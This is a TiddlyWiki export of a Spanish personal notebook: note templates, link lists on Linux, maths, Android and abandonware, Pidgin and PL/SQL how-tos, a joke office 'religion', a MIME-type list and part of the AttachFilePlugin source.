Welcome to TiddlyWiki created by Jeremy Ruston, Copyright © 2007 UnaMesa Association
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre XXX.
//Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.//
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
!Introducción
!!Descripción
Descripción del lenguaje de programación: para que se usa, de que tipo es, un poco de lo más importante de su historia, otras cosas relevantes...
!!Características
|>| ''Características del lenguaje'' |h
|''Compilación'' |compilado/interpretado/VM |
|''Tipado'' |estático/dinámico fuerte/débil |
|''Paradigma'' |funcional/orientado a objetos/estructurado |
|''Herencia (sólo OO)'' |simple/múltiple |
!Elementos del lenguaje
!!Líneas y bloques
Como se definen los bloques y se tienen que terminar las líneas con algún carácter especial.
!!Variables y tipos básicos
Definición de tipos básicos: numéricos y textuales.
!!Tipos complejos
Definición de arrays, matrices, listas, clases, objetos, diccionarios,...
!!Operadores
Todo tipo de operadores: aritméticos, de comparación, etc.
!!Estructuras condicionales
Estructuras tipo "if", "switch" y similares
!!Bucles
Bucles de todo tipo
!!Métodos y funciones
Como definir métodos y funciones propias
!!Funciones básicas
Funciones o paquetes de uso común, Por ejemplo, funciones para mostrar texto, recoger información del usuario, acceso a parámetros de la línea de comandos, etc.
!!Errores y excepciones
Tratamiento de errores en tiempo de ejecución
!!Orientación a objetos
Sólo para los lenguajes que soporten este paradigma. Comentar aspectos como la herencia, la encapsulación y demás.
!Elementos de los ficheros de código fuente
!!Comentarios
Todo tipo de comentarios, incluyendo comentarios de documentación
!!Encabezados
Todo lo que puede aparecer al principio de los ficheros de código fuente y modifica su compilación o su relación con otros ficheros de código fuente
!!!Macros y compilación condicional
En caso de ser soportadas, y en general cualquier elemento parseable por un preprocesador
!!!Importación de otros ficheros
Tanto importaciones lógicas (hacer accesibles objetos) como físicas (insertar el código fuente en un punto)
!!!Paquetes
Definición de paquetes, espacios de nombres y demás
!!!Directivas de control
Modificación del comportamiendo del compilador.
!!!Otros
Cualquier otra cosa que no haya tenido en cuenta
!Plantillas
!!Plantilla de fichero de definición
Ejemplo de un fichero de definición
!!Plantilla de código fuente
Ejemplo funcional de un fichero de código fuente que haga algo útil
/***
Description
<<Processing>>
***/
//{{{
/*
*Global variables
*/
int s = 300; //300 pixels
color fgColor = color(255); //white
color fillColor = color(126, 126, 255); //light blue
color bgColor = color(102); //medium-dark gray
int thickness = 2; //2 pixel's lines
/*
* Initialization function
*/
void setup() {
//Canvas size
size(s, s);
//Canvas color
background(bgColor);
//Framerate
frameRate(20);
//Other initializations
}
/*
* Called each clock tick
*/
void draw() {
//Set the foreground color
stroke(fgColor);
//Set the fill color
fill(fillColor);
//Set the thickness of lines
strokeWeight(thickness);
//Example: draws a square
rect(s/4, s/4, s/2, s/2);
}
//}}}
!!! Descripción
!!! Enlaces
* http://
amath
Example: Solving the quadratic equation.
Suppose a x^2+b x+c=0 and a!=0. We first divide by \a to get x^2+b/a x+c/a=0.
Then we complete the square and obtain x^2+b/a x+(b/(2a))^2-(b/(2a))^2+c/a=0. The first three terms factor to give (x+b/(2a))^2=(b^2)/(4a^2)-c/a. Now we take square roots on both sides and get x+b/(2a)=+-sqrt((b^2)/(4a^2)-c/a).
Finally we move the b/(2a) to the right and simplify to get the two solutions: x_(1,2)=(-b+-sqrt(b^2-4a c))/(2a)
endamath
!Descripción
Apuntes sobre juegos viejunos para PC
!Apuntes rápidos
*
!Enlaces interesantes
* http://www.ellosnuncaloharian.com/genero/lista.php?ID_G=1
* http://www.publijuegos.com/abandonware/
* http://www.tenteraste.com/abandonware/
* http://www.selvacamaleon.net/
* http://www.publispain.com/abandonware/
* http://epic.dantoine.org/juegos/busqueda.html
* http://juegosabiertos.com/
* http://www.xtcabandonware.com/
* http://www.abandonia.com/
* http://www.sjabandonware.com.ar/portal/
* http://www.cuevadeclasicos.org/foro/
* http://www.lamazmorraabandon.com/
* http://computeremuzone.com/pc/
* http://ciudad-abandon.foroactivo.com/juegos-f5/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Introducción
[[Pidgin|http://www.pidgin.im]] es un cliente de mensajería instantánea que soporta varios protocolos, como MSN Messenger, Yahoo Messenger o Google Talk (que no es más que XMPP). Aunque las últimas versiones de Pidgin incorporan una forma sencilla de configurar el acceso a GTalk, lo cierto es que no funciona correctamente si estás detrás de un firewall, como sucede en casi todas las oficinas y universidades.
A continuación se detallan los parámetros que se deben configurar para conseguir que pidgin se conecte a nuestra cuenta de GTalk.
!Parámetros de configuración
#Crear una nueva cuenta de tipo XMPP (Jabber en versiones más antiguas de Pidgin)
#{{multiline{
Rellenar los campos de la primera ficha de configuración:
* ''username(nombre de usuario):'' Nombre de la cuenta de correo sin el “@gmail.com”
* ''domain(dominio):'' gmail.com
* ''resource(recurso):'' Lo que quieras, identifica el cliente utilizado. “pidgin” si no sabes que poner.
* ''password(contraseña):'' Tu contraseña. Si no quieres escribirla cada vez, marca el cuadrado de debajo.
* El resto de opciones no son obligatorias.
}}}
#{{multiline{
Rellenar los campos de la siguiente ficha de configuración (advanced/avanzado):
* ''require SSL/TSL:''Desmarcado
* ''force old (port 5223):'' Marcado
* ''allow plain text:'' Desmarcado
* ''Connect port:'' 443
* ''Connect server:'' talk.google.com
* El resto es opcional
}}}
!Descripción
Apuntes sobre administración de sistemas GNU/Linux
!Apuntes rápidos
*
!Enlaces interesantes
* ''Documentación oficial:''
** Documentación sobre Debian: http://debian.org/doc/
** Documentación sobre Gentoo: http://www.gentoo.org/doc/es/
** Documentación sobre OpenSuSE: http://es.opensuse.org/Documentaci%C3%B3n
* ''Páginas de documentación general:''
** Artículos de System Admin: http://systemadmin.es/series-de-articulos
* ''Instalar portage en Debian:''
** http://www.linuxquestions.org/questions/debian-26/kanotix-walkthough-for-installing-gentoo-portage-and-emerge-on-debian-pure-sid-313648/
** http://www.linuxquestions.org/questions/debian-26/script-that-makes-portage-on-kanotix-2006-rc3-here-430103/?highlight=kanotix+portage
* ''Sony Vaio:''
** http://vaioubuntu.wordpress.com/
** http://crysol.org/es/node/297
** http://www.cesarius.net/configurar-webcam-en-portatiles-sony-vaio-con-ubuntulinux/
** http://tldp.org/HOWTO/VAIO+Linux.html
** http://www.linlap.com/wiki/sony+vaio+fw
** http://dcc.vu/Sony-Vaio-VGN-FW180E.html
** https://help.ubuntu.com/community/SonyVaioBrightness
** http://popies.net/sonypi/
** http://levicki.net/articles/tips/2009/02/20/HOWTO_Enable_Intel_VT_on_Sony_VAIO_notebook_with_AMI_Aptio_EFI_BIOS.php
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Galactismo
Religión de nueva creación. Es la única verdadera, y el que diga que no miente y es un hereje e irá al infierno donde su alma sucumbirá a un dolor eterno. Eso si, sin rencor, que somos muy tolerantes con los demás credos (todos falsos, por supuesto).
! Dogmas de fe
Nuestra religión (la única verdadera) se basa en los siguientes puntos:
* Nuestro Diox es la "Gran Pollilla Incorruptible Sagrada", cuyo cuerpo incorruptible (lleva muerta ni se sabe pero aún no se ha podrido) se puede contemplar desde la terraza de la segunda planta del edificio de TB-Solutions.
* El alimento sagrado son las "Galácticas de Patata". Un aperitivo compuesto a partir de un sucedáneo de la patata, pero mucho mejor que esta, y que contiene todas las vitaminas y minerales necesarios para ser inmortales y eternos. El único aperitivo envasado en un feliz envase rosa con forma de estrella de cinco puntas.
! Mandamientos
# Adorarás a las Polillas por encima de los demás insectos.
# Adorarás a las Galácticas de Patata como el mejor aperitivo existente para tomar entre horas o a la hora del vermú (tm).
# Serás absurdo y dirás y escribirás cosas sin sentido allá donde vayas.
# Adorarás al fuego y odiarás a las cosas ignífugas.
# Almorzarás en la terraza pelándote de frio en invierno y asándote en verano.
# El fútbol te parecerá el deporte más aburrido, sólo superado por la petanca de las para-olimpiadas y el snooker. Los seguidores hombres hechos y derechos (y las lesbianas hechas y derechas) seguirán la lucha con barro femenina y el curling (por ese orden) sobre todos los demás deportes.
# Compartirás tu dirección de email para enviar cosas graciosas y grotescas, pero serás maldito por siempre jamás si reenvías una cadena chorras de tipo "si envias este email a 10.000 contactos, Paquito, el niño sin orejas, recibirá unas de cartón piedra de pega para que no parezca una bola de billar".
! Ritos
Como toda buena secta y grupo que trama la dominación mundial, debemos tener un conjunto de reglas sagradas y absurdas que nos doten de una identidad propia y permitan justificar nuestros absurdos excesos:
* Al levantarte por la mañana deberás ponerte frente a una bombilla y agitar los brazos mientras recitas 2 veces "viva la Gran Polilla Sagrada, la que fué seducida por la luz y su cuerpo vivirá por siempre incorrupto y entre informáticos"
* Sólo tomarás licores con nombres jocosos, hirientes o desconcertantes, como la marca Hijoputa o anís del mono.
* Si te pones guantes en invierno, tendrán que hacer juego con tus calcetines, y en verano llevarás chancletas con calcetines a cuadros
* Te lavarás los dientes mirando hacia la situación del Incorruptible Cuerpo Sagrado de la Gran Polilla Sagrada.
* Cada vez que alguien encienda un fuego o llama deberás decir "polilla".
! Creación de la iglesia y sus Santos Profetas
La iglesia fue fundada el día 15/11/2007 (primer día del primer año de la Era Galáctica) por los Santos profetas:
* Sandra, la Santa Profeta de las Galácticas: (También llamada "SPG" para acortar). Ella descubrió el alimento sagrado aún antes de saber como era el Gran Diox que nos las envió. Fue la primera en comprender el magnífico poder de este aperitivo hecho con Super Patatas Sagradas. Muchos infieles antes lo probaron, pero como tenían fe, sólo les dió caguerilla. Ella lleva la santa y sagrada misión de hacer llegar las Galácticas a los fieles, y que sepan comprender sus inmejorables cualidades para alcanzar el nirvana de los aperitivos (y que no les de caguerilla).
* Rubén, el Santo Profeta de la Gran Polilla Sagrada: (También llamado "SPGPS" para acortar y trabarte la lengua). El mismo Diox se le presentó y dejó su terrenal e incorruptible cuerpo en un lugar donde todo el mundo pudiera adorarlo. Desde aquel día defiende el Incorruptible Cuerpo Santo de todo aquel que osa decir que no es nada más que un insecto muerto. ¡¡Herejes!!
* Carlos, "El iluminado": Es el elegido para no hacer nada y ganar mucho dinero.
No obstante, otros acólitos se sumaron a la causa de difundir ambos, y por ello su alma será salvada del tinto eterno. Todos aquellos que inundaron el correo de fotos hirientes para la salud humana, mostrando por tanto el infierno que le esperaba a los herejes, tendrán un lugar en el paraiso. Mención especial a
* Joaquín, por ser el descubridor de la imagen infernal.
* David Luna y Josi y Antonio por propagarla por el ancho mundo de los emails.
* David Alonso por su chiste del niño santo, que es un infierno sobre la tierra por si mismo. Además, junto con Rosana, por programar en Power, que también hay que tenerlos cuadrados...
Y tantos otros que sobrevivieron a La Prueba (vamos, a ver el tinto de verano en todas sus manifestaciones):
* Jorge Cholvis
* Jorge Rubira
* Bea
* Las "Mayayo" (como "los Antonios" pero en femenino)
* Victor
* Sergio
* Chema
* Julio
* Juanma
* Marta
Y más que me estaré olvidando...
Sin embargo, Fran aderá en el infierno por decirme "cosas feas" XD
! Objetivos de la Santa Iglesia de las Galácticas de (super)Patata y la Gran Polilla Santa
La Santa Iglesia de las Galácticas de (super)Patata y la Gran Polilla Santa sólo tiene un objetivo: DOMINAR EL MUNDO y no parará hasta que lo consiga (si fuera necesario se distribuirá masiva e indiscriminadamente el Tinto de Verano en todas sus versiones)
! Ventajas de hacerte Galáctico
Todas. Serás parte de la mejor religión del mundo, además de ser de las menos exigentes… Además entrarás en el reino de los cielos cuando la palmes (aunque si tomas Galácticas de Patata habitualmente, hay escasas probabilidades de que eso suceda) y no sufrirás tormentos durante mucho tiempo como los infieles, ni sufrirás eternamente en el infierno como los herejes.
Además, los Galácticos consideramos fiesta de guardar cualquier día de la semana.
!Inconvenientes de hacerte Galáctico
¡Ninguno! Si te conviertes al Galactismo serás parte de la única y verdadera religión, y nuestro Diox, la Gran Polilla Santa (GPS para los amigos) te protegerá de los males que le de la gana.
Ser galáctico sólo tiene un inconveniente: si eres seguidor forofo del Barcelona puede pegarte una paliza tus amigos también forofos al creer que te has hecho del Real Madrid. No obstante, como el fútbol es un mojón de deporte y además atenta contra nuestra fe, es una ventaja más.
!Descripción
Apuntes sobre donde y como comprar hardware
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre álgebra lineal.
!Apuntes rápidos
*
!Enlaces interesantes
* OCW España:
** http://ocw.um.es/ingenierias/algebra-y-matematica-discreta
** http://ocw.unican.es/ciencias-experimentales/fundamentos-matematicos
** http://ocw.ehu.es/ensenanzas-tecnicas/fundamentos-matematicos-de-la-ingenieria/Course_listing
** http://ocw.upm.es/matematica-aplicada/introduccion-a-los-sistemas-dinamicos
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre la teoría y aplicación de algoritmos genéticos y otro tipo de algoritmos evolutivos o pseudoevolutivos.
!Apuntes rápidos
*
!Enlaces interesantes
* http://es.wikipedia.org/wiki/Algoritmo_gen%C3%A9tico
* http://geneura.ugr.es/~jmerelo/ie/ags.htm
* http://the-geek.org/docs/algen/
* http://fog.neopages.org/helloworldgeneticalgorithms.php
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programación para la plataforma Android y su máquina virtual Dalvik
!Apuntes rápidos
*
!Enlaces interesantes
* Página para desarrolladores: http://developer.android.com
* Descarga del SDK: http://developer.android.com/sdk/index.html
* Otros lenguajes de scripting: http://code.google.com/p/android-scripting/
* ''Librerías:''
** NyARToolkit: http://nyatla.jp/nyartoolkit/wiki/index.php?NyARToolkit%20for%20Android.en
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre ant
!Apuntes rápidos
* Ejecutar un {{{.bat}}} desde ant:
{{{
<exec dir="C:\oc4j_10_1_2\j2ee\home\" executable="cmd">
<arg value="/c"/>
<arg value=".bat"/>
<arg value="-p"/>
</exec>
}}}
!Enlaces interesantes
* http://ant.apache.org/manual/index.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Enlaces
* Página oficial: http://archlinux.org
* Wiki: http://wiki.archlinux.org
* Manual: http://wiki.archlinux.org/index.php/Beginners_Guide
* Instalar en un USB: http://wiki.archlinux.org/index.php/Install_from_USB_stick
* Guía de instalación: http://wiki.archlinux.org/index.php/Official_Arch_Linux_Install_Guide
* Repositorio de Red Iris: http://sunsite.rediris.es/mirror/archlinux/
* Repositorio de paquetes de terceros: http://aur.archlinux.org/
!Introducción
Al contrario que en otros lenguajes, en [[PL/SQL]] no es sencillo crear arrays de tipos básicos. Por el contrario, los arrays se consideran "tipos complejos" y hay que declararlos antes de poder usarlos para definir tipos de variables. Esto significa que, sorprendentemente, no se puede definir una variable como un array de texto, si no que antes hay que definir un tipo básico que hará de array de varchar2.
En este texto se definirán arrays de texto, pero se pueden definir de cualquier tipo, incluido el ROW_TYPE de cualquier tabla o cursor.
Los tipos definidos sólo se aplican al usuario en el que se crean. Esto quiere decir, que para crear un array de texto antes hay que declarar el tipo "array_texto" en todas las bases de datos y usuarios donde se quiera utilizar.
!Pasos a seguir para definir un array de texto
A continuación se muestra como declarar un array de cadenas de texto de 2000 caracteres como máximo.
# {{multiLine{
''Declarar el tipo "{{{ARRAY_TEXTO}}}":''
{{{
CREATE OR REPLACE TYPE ARRAY_TEXTO IS TABLE OF VARCHAR2(2000);
}}}
}}}
# {{multiLine{
''Crear una variable de tipo "{{{ARRAY_TEXTO}}}":''
{{{
nombre_variable ARRAY_TEXTO;
}}}
}}}
# {{multiLine{
''Rellenar el array:''
{{{
nombre_variable(1) := 'valor1';
}}}
}}}
# {{multiLine{
''Extraer un valor:''
{{{
valor = nombre_variable(1); -- Devuelve el valor 'valor1'
}}}
}}}
# {{multiLine{
''Itera por todos los valores del array:''
{{{
FOR i IN 1 .. nombre_variable.COUNT LOOP
...
dbms_output.put_line('nombre_variable('||i||') is '||'nombre_variable(i));
...
END LOOP;
}}}
}}}
!Usar en [[Java]] procedimientos almacenados con variables de tipo ARRAY
Como los arrays en Oracle son siempre tipos especiales definidos por el usuario, antes de poder usarlos se necesita obtener la información necesaria de su estructura. Esto se puede hacer buscando la información por nombre del tipo, de la siguiente manera:
{{{
ArrayDescriptor descriptor = ArrayDescriptor.createDescriptor("ARRAY_TEXTO", con);
}}}
Una vez obtenido el descriptor, se puede utilizar para convertir un array de [[Java]] "normal" en uno de [[PL/SQL]] :
{{{
ArrayList<String> datos = new ArrayList<String>();
datos.add("dato 1");
datos.add("dato 2");
datos.add("dato N");
oracle.sql.ARRAY arrayTexto = new oracle.sql.ARRAY(descriptor, con, datos.toArray());
}}}
Nótese que el tipo tiene todas las letras en mayúsculas, cosa poco común en el mundo de [[Java]]. Una vez convertido se puede registrar como parámetro en el CallableStatement:
{{{
CallableStatement cstm = connection.prepareCall(call);
cstm.setArray(paramNumber, (ARRAY)value);
}}}
text/plain
.txt .text .js .vbs .asp .cgi .pl
----
text/html
.htm .html .hta .htx .mht
----
text/comma-separated-values
.csv
----
text/javascript
.js
----
text/css
.css
----
text/xml
.xml .xsl .xslt
----
image/gif
.gif
----
image/jpeg
.jpg .jpe .jpeg
----
image/png
.png
----
image/bmp
.bmp
----
image/tiff
.tif .tiff
----
audio/basic
.au .snd
----
audio/wav
.wav
----
audio/x-pn-realaudio
.ra .rm .ram
----
audio/x-midi
.mid .midi
----
audio/mp3
.mp3
----
audio/m3u
.m3u
----
video/x-ms-asf
.asf
----
video/avi
.avi
----
video/mpeg
.mpg .mpeg
----
video/quicktime
.qt .mov .qtvr
----
application/pdf
.pdf
----
application/rtf
.rtf
----
application/postscript
.ai .eps .ps
----
application/wordperfect
.wpd
----
application/mswrite
.wri
----
application/msexcel
.xls .xls3 .xls4 .xls5 .xlw
----
application/msword
.doc
----
application/mspowerpoint
.ppt .pps
----
application/x-director
.swa
----
application/x-shockwave-flash
.swf
----
application/x-zip-compressed
.zip
----
application/x-gzip
.gz
----
application/x-rar-compressed
.rar
----
application/octet-stream
.com .exe .dll .ocx
----
application/java-archive
.jar
/***
|Name|AttachFilePlugin|
|Source|http://www.TiddlyTools.com/#AttachFilePlugin|
|Documentation|http://www.TiddlyTools.com/#AttachFilePluginInfo|
|Version|3.9.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|AttachFilePluginFormatters, AttachFileMIMETypes|
|Overrides||
|Description|Store binary files as base64-encoded tiddlers with fallback links for separate local and/or remote file storage|
Store or link binary files (such as jpg, gif, pdf or even mp3) within your TiddlyWiki document and then use them as images or links from within your tiddler content.
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
!!!!!Documentation
>see [[AttachFilePluginInfo]]
!!!!!Inline interface (live)
>see [[AttachFile]] (shadow tiddler)
><<tiddler AttachFile>>
!!!!!Revisions
<<<
2008.07.21 [3.9.0] Fixup for FireFox 3: use HTML with separate text+button control instead of type='file' control
|please see [[AttachFilePluginInfo]] for additional revision details|
2005.07.20 [1.0.0] Initial Release
<<<
!!!!!Code
***/
// // version
//{{{
version.extensions.AttachFilePlugin= {major: 3, minor: 9, revision: 0, date: new Date(2008,7,21)};
// shadow tiddler
config.shadowTiddlers.AttachFile="<<attach inline>>";
// add 'attach' backstage task (insert before built-in 'importTask')
if (config.tasks) { // for TW2.2b or above
config.tasks.attachTask = {
text: "attach",
tooltip: "Attach a binary file as a tiddler",
content: "<<attach inline>>"
}
config.backstageTasks.splice(config.backstageTasks.indexOf("importTask"),0,"attachTask");
}
config.macros.attach = {
// // lingo
//{{{
label: "attach file",
tooltip: "Attach a file to this document",
linkTooltip: "Attachment: ",
typeList: "AttachFileMIMETypes",
titlePrompt: " enter tiddler title...",
MIMEPrompt: "<option value=''>select MIME type...</option><option value='editlist'>[edit list...]</option>",
localPrompt: " enter local path/filename...",
URLPrompt: " enter remote URL...",
tiddlerErr: "Please enter a tiddler title",
sourceErr: "Please enter a source path/filename",
storageErr: "Please select a storage method: embedded, local or remote",
MIMEErr: "Unrecognized file format. Please select a MIME type",
localErr: "Please enter a local path/filename",
URLErr: "Please enter a remote URL",
fileErr: "Invalid path/file or file not found",
sourceReport: "| source file:|{{{%0}}}|\n",
nosourceReport: "| source file:|//none//|\n",
dateReport: "| attached on:|%0 by %1|\n",
notesReport: "| description:|%0|\n",
dataReport: "| embedded:|[[%0|%0]] - {{{type=%1, size=%2 bytes, encoded=%3 bytes}}}|\n",
nodataReport: "| embedded:|//none//|\n",
localReport: "| local file:|/%LOCAL_LINK%/[[%0|%1]]|\n",
nolocalReport: "| local file:|//none//|\n",
URLReport: "| remote link:|/%REMOTE_LINK%/[[%0|%0]]|\n",
noURLReport: "| remote link:|//none//|\n",
imageReport: "image\n<<<\nusage: {{{[img[tooltip|%0]] or [img[tooltip|%0][link]]}}}\n[img[tooltip|%0]]\n<<<\n",
dataBlock: "\n/% DO NOT EDIT BELOW THIS POINT\n---BEGIN_DATA---\n%0;base64,\n%1\n---END_DATA---\n%/",
//}}}
// // macro definition
//{{{
handler:
function(place,macroName,params) {
if (params && !params[0]) { createTiddlyButton(place,this.label,this.tooltip,this.toggleAttachPanel); return; }
var id=params.shift();
this.createAttachPanel(place,id+"_attachPanel",params);
document.getElementById(id+"_attachPanel").style.position="static";
document.getElementById(id+"_attachPanel").style.display="block";
},
//}}}
//{{{
createAttachPanel:
function(place,panel_id,params) {
if (!panel_id || !panel_id.length) var panel_id="_attachPanel";
// remove existing panel (if any)
var panel=document.getElementById(panel_id); if (panel) panel.parentNode.removeChild(panel);
// set styles for this panel
setStylesheet(this.css,"attachPanel");
// create new panel
var title=""; if (params && params[0]) title=params.shift();
var types=this.MIMEPrompt+this.formatListOptions(store.getTiddlerText(this.typeList)); // get MIME types
panel=createTiddlyElement(place,"span",panel_id,"attachPanel",null);
var html=this.html.replace(/%id%/g,panel_id);
html=html.replace(/%title%/g,title);
html=html.replace(/%disabled%/g,title.length?"disabled":"");
html=html.replace(/%IEdisabled%/g,config.browser.isIE?"disabled":"");
html=html.replace(/%types%/g,types);
panel.innerHTML=html;
if (config.browser.isGecko) { // FF3 FIXUP
document.getElementById("attachSource").style.display="none";
document.getElementById("attachFixPanel").style.display="block";
}
return panel;
},
//}}}
//{{{
toggleAttachPanel:
function (e) {
if (!e) var e = window.event;
var parent=resolveTarget(e).parentNode;
var panel = document.getElementById("_attachPanel");
if (panel==undefined || panel.parentNode!=parent)
panel=config.macros.attach.createAttachPanel(parent,"_attachPanel");
var isOpen = panel.style.display=="block";
if(config.options.chkAnimate)
anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,"none"));
else
panel.style.display = isOpen ? "none" : "block" ;
e.cancelBubble = true;
if (e.stopPropagation) e.stopPropagation();
return(false);
},
//}}}
//{{{
formatListOptions:
function(text) {
if (!text || !text.trim().length) return "";
// get MIME list content from text
var parts=text.split("\n----\n");
var out="";
for (var p=0; p<parts.length; p++) {
var lines=parts[p].split("\n");
var label=lines.shift(); // 1st line=display text
var value=lines.shift(); // 2nd line=item value
out +='<option value="%1">%0</option>'.format([label,value]);
}
return out;
},
//}}}
// // interface definition
//{{{
css:
".attachPanel { display: none; position:absolute; z-index:10; width:35em; right:105%; top:0em;\
background-color: #eee; color:#000; font-size: 8pt; line-height:110%;\
border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;\
padding: 0.5em; margin:0em; -moz-border-radius:1em;-webkit-border-radius:1em; text-align:left }\
.attachPanel form { display:inline;border:0;padding:0;margin:0; }\
.attachPanel select { width:99%;margin:0px;font-size:8pt;line-height:110%;}\
.attachPanel input { width:98%;padding:0px;margin:0px;font-size:8pt;line-height:110%}\
.attachPanel textarea { width:98%;margin:0px;height:2em;font-size:8pt;line-height:110%}\
.attachPanel table { width:100%;border:0;margin:0;padding:0;color:inherit; }\
.attachPanel tbody, .attachPanel tr, .attachPanel td { border:0;margin:0;padding:0;color:#000; }\
.attachPanel .box { border:1px solid black; padding:.3em; margin:.3em 0px; background:#f8f8f8; -moz-border-radius:5px;-webkit-border-radius:5px; }\
.attachPanel .chk { width:auto;border:0; }\
.attachPanel .btn { width:auto; }\
.attachPanel .btn2 { width:49%; }\
",
//}}}
//{{{
html:
'<form>\
attach from source file\
<input type="file" id="attachSource" name="source" size="56"\
onChange="config.macros.attach.onChangeSource(this)">\
<div id="attachFixPanel" style="display:none"><!-- FF3 FIXUP -->\
<input type="text" id="attachFixSource" style="width:90%"\
title="Enter a path/file to attach"\
onChange="config.macros.attach.onChangeSource(this);">\
<input type="button" style="width:7%" value="..."\
title="Enter a path/file to attach"\
onClick="config.macros.attach.askForFilename(document.getElementById(\'attachFixSource\'));">\
</div><!--end FF3 FIXUP-->\
<div class="box">\
<table style="border:0"><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
embed data <input type=checkbox class=chk name="useData" %IEdisabled% \
onclick="if (!this.form.MIMEType.value.length)\
